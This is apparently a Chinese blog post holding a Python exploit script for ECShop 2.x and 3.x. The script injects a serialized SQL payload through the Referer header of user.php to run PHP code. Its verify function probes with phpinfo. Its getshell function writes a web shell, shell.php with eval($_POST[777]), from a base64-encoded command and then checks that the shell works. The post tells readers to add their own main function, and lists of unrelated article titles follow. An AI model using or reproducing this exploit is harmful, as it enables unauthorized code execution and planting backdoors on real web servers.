import requests
import binascii def get_v2Payload(code):
'''Ecshop V2.x payload'''
code = "{$abc'];@assert(%s);//}" %(code)
# print(code)
code = code.encode()
shellcode = binascii.hexlify(code).decode()
payload = "554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:\"num\";s:%s:\"*/ union select 1,0x27202f2a,3,4,5,6,7,8,0x%s,10-- -\";s:2:\"id\";s:4:\"' /*\";}554fcae493e564ee0dc75bdf2ebf94ca" % ((50 + len(shellcode)),shellcode)
return payload
def get_v3Payload(code):
'''Ecshop V3.x payload'''
code = "{$abc'];assert(%s);//}" %(code)
code = code.encode()
shellcode = binascii.hexlify(code).decode()
payload = "45ea207d7a2b68c49582d2d22adf953aads|a:2:{s:3:\"num\";s:%s:\"*/ union select 1,0x27202f2a,3,4,5,6,7,8,0x%s,10-- -\";s:2:\"id\";s:4:\"' /*\";}45ea207d7a2b68c49582d2d22adf953a" % ((50 + len(shellcode)),shellcode)
return payload
def verify(url):
print(url)
flag = "allow_url_include"
code = "phpinfo()"
url = url + "/user.php"
ec2payload = get_v2Payload(code)
# print(ec2payload)
ec3payload = get_v3Payload(code)
payloads = [(ec2payload,'2.x'),(ec3payload,'3.x')]
for payload,version in payloads:
headers = {
'User-Agent':'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:27.0) Gecko/20100101 Firefox/27.0',
'Referer':payload
}
try:
rsp = requests.get(url,headers=headers,timeout=3)
if flag in rsp.text:
verifyInfo = {}
verifyInfo['URL'] = url
verifyInfo['version'] = version
print(verifyInfo)
break
except:
pass
def getshell(url):
code = "base64_decode('ZmlsZV9wdXRfY29udGVudHMoJ3NoZWxsLnBocCcsJzw/cGhwIGV2YWwoJF9QT1NUWzc3N10pOyA/Picp')"
i = url + "/user.php"
ec2payload = get_v2Payload(code)
# print(ec2payload)
ec3payload = get_v3Payload(code)
payloads = [(ec2payload,'2.x'),(ec3payload,'3.x')]
for payload,version in payloads:
headers = {
'User-Agent':'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:27.0) Gecko/20100101 Firefox/27.0',
'Referer':payload
}
try:
rsp = requests.get(i,headers=headers,timeout=5)
if rsp.status_code == 200:
shurl = url + "/shell.php"
srsp = requests.get(shurl,timeout=5)
if srsp.status_code == 200:
verifyInfo = {}
verifyInfo['URL'] = shurl
verifyInfo['version'] = version
print(verifyInfo)
break
except:
pass

 大概就是这么个样子,具体要怎么用自己在添加主函数就行。

最新文章

  1. iOS开发UI篇—CAlayer(创建图层)
  2. Android应用的安全的攻防之战
  3. ASP.NET Web API 的简单示例
  4. hdu 1106:排序(水题,字符串处理 + 排序)
  5. 命名空间中的“MvcBuildViews”。 无效
  6. c++ 函数的函数声明
  7. jinfo命令(Java Configuration Info)
  8. 远程控制利器TeamViewer使用教程(图)
  9. 看懂 ,学会 .NET 事件的正确姿势-简单版
  10. 『Python』为什么调用函数会令引用计数+2
  11. Linux之hosts文件
  12. Flask图书管管理表
  13. 剑指offer错题记录
  14. 一种快速统计SQL Server每个表行数的方法
  15. windows10多桌面创建 切换 和分屏
  16. 详谈Oracle12c新特点容器数据库&可插拔数据库(CDB&PDB)
  17. VisualStudio: 窗口背景颜色设置成黑色
  18. 6. Ensemble learning & AdaBoost
  19. HIVE函数的UDF、UDAF、UDTF
  20. thrift0.5入门操作

热门文章

  1. 三大Mac清理工具实用性测评,哪款好用?
  2. H5系列之contenteditable
  3. 【PYTHON】操作excel笔记
  4. Maven更换阿里源与仓库地址
  5. SpringBoot2整合Redis
  6. HBase中Memstore存在的意义以及多列族引起的问题和设计
  7. 010 editor的使用
  8. 图像分割必备知识点 | Unet++超详解+注解
  9. 小白也能看懂的mySQL进阶【单表查询】
  10. PyQt学习随笔:槽函数获取信号发送对象的方法